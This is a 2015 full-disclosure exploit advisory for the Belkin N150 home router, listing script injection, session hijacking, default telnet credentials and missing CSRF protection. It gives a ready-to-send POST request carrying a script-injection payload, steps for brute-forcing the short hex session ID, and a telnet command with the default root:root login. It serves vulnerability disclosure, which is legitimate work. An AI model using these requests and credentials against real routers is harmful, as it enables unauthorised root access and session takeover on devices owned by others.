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Belkin N150 XSS / CSRF / Session Hijacking

Belkin N150 XSS / CSRF / Session Hijacking
Posted Nov 30, 2015
Authored by Rahul Pratap Singh

Belkin N150 wireless home routers suffer from cross site request forgery, cross site scripting, session hijacking, and default credential vulnerabilities.

tags | exploit, vulnerability, xss, csrf
SHA-256 | ccd6d7df0385f7fe44487b3572769d2a3e6d56e73e0aa366d26c92e320dce63f

Belkin N150 XSS / CSRF / Session Hijacking

Change Mirror Download
##Full Disclosure:

#Exploit Title : Belkin N150 Wireless Home Router Multiple
Vulnerabilities
#Exploit Author : Rahul Pratap Singh
#Date : 30/Nov/2015
#Home Page Link : http://www.belkin.com
#Blog Url : 0x62626262.wordpress.com
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
#Status : Not Patched

→ Vulnerability/BUG Report :

1)

• Vulnerability Title : HTML/Script Injection
• Version : F9K1009 v1
• Firmware : 1.00.09

→ Proof of Concept:

"InternetGatewayDevice.DeviceInfo.X_TWSZ-COM_Language" this parameter is
vulnerable.

https://0x62626262.wordpress.com/2015/11/30/belkin-n150-router-multiple-vulnerabilities/

→ Steps to Reproduce:

Send the following post request using Burpsuite,etc

POST /cgi-bin/webproc HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:35.0) Gecko/20100101
Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer:
http://192.168.2.1/cgi-bin/webproc?getpage=html/page.html&var:page=deviceinfo&var:oldpage=-
Cookie: sessionid=7cf2e9c5; auth=ok; expires=Sun, 15-May-2102 01:45:46 GMT
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 260

%3AInternetGatewayDevice.DeviceInfo.X_TWSZ-COM_Language="><script>alert("1")</script><script>"&obj-action=set&var%3Apage=deviceinfo&var%3Aerrorpage=deviceinfo&getpage=html%2Findex.html&errorpage=html%2Findex.html&var%3ACacheLastData=U1BBTl9UaW1lTnVtMT0%3D

2)

• Vulnerability Title : Session Hijacking
• Version : F9K1009 v1
• Firmware : 1.00.09

→ Proof of Concept:

Cookie: sessionid=7cf2e9c5; auth=ok; expires=Sun, 15-May-2102 01:45:46 GMT

sessionid is allocated using hex encoding and of fixed length i.e 8 .
Therefore, it is very easy to bruteforce it in feasible amount for time as
this session id ranges from 00000000 to ffffffff

→ Steps to Reproduce:

Send the following request using Burpsuite and Bruteforce the sessionid.

POST /cgi-bin/webproc HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:35.0) Gecko/20100101
Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer:
http://192.168.2.1/cgi-bin/webproc?getpage=html/page.html&var:page=deviceinfo&var:oldpage=-
Cookie: sessionid=7cf2e9c5; auth=ok; expires=Sun, 15-May-2102 01:45:46 GMT

3)

• Vulnerability Title : Telnet Enabled with Default Pass
• Version : F9K1009 v1
• Firmware : 1.00.09

→ Vulnerability Details:

Telnet protocol can be used by an attacker to gain remote access to the
router with root privileges.

→ Proof of Concept:

https://0x62626262.wordpress.com/2015/11/30/belkin-n150-router-multiple-vulnerabilities/

→ Steps to Reproduce:

1) Open terminal
2) Type following command:
telnet 192.168.2.1
3) Default user and pass is root:root

4)

• Vulnerability Title : Cross Site Request Forgery
• Version : F9K1009 v1
• Firmware : 1.00.09

→ Proof of Concept:

Request doesn't contain any CSRF-token. Therefore, requests can be forged.
It can be verified with any request.

Status:
Vendor Notified: 20 Oct 2015
Vendor Notified Again: 25 Nov 2015

No Response.

Full Disclosure: 30 Nov 2015

Ref:
https://0x62626262.wordpress.com/2015/11/30/belkin-n150-router-multiple-vulnerabilities/
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